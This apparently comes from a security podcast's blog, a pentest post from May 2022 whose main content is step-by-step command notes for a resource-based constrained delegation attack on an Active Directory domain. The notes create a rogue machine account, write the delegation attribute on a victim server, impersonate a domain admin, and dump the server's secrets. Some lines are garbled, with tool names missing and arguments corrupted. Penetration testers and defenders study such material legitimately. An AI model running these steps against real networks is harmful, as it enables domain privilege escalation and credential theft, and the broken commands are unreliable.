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7 Minute Security

May 20, 2022

Hey friends! Today's another swell tale of pentest pwnage, and it's probably my favorite one yet (again)! This tale involves resource based constrained delegation, which is just jolly good evil fun! Here are my quick notes for pwning things using RBCD:

 # From non-domain joined machine, get a cmd.exe running in the context of a user with ownership rights over a victim system: runas /netonly /user:domain\some.user cmd.exe  # Make new machine account: New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose  # Get the SID: $ComputerSid = Get-DomainComputer -Identity EVIL7MS -Properties objectsid | Select -Expand objectsid   # Create raw descriptor for fake computer principal: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0)  # Apply descriptor to victim machine: Get-DomainComputer SERVER-I-WANT-2-PWN | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose  # Get a service ticket for the EVIL7MS box and impersonate a domain admin ("badmin") on the SERVER-I-WANT-2-PWN box: -spn cifs/SERVER-I-WANT-2-PWN -impersonate badmin -dc-ip$:Muah-hah-hah!  # Set the ticket export KRB5CCNAME=badmin.ccache  # Dump victim server's secrets! -debug k SERVER-I_WANT-2-PWN 

Also, on the relaying front, I found this blog from TrustedSec as well as this article from LummelSec to be amazing resources.

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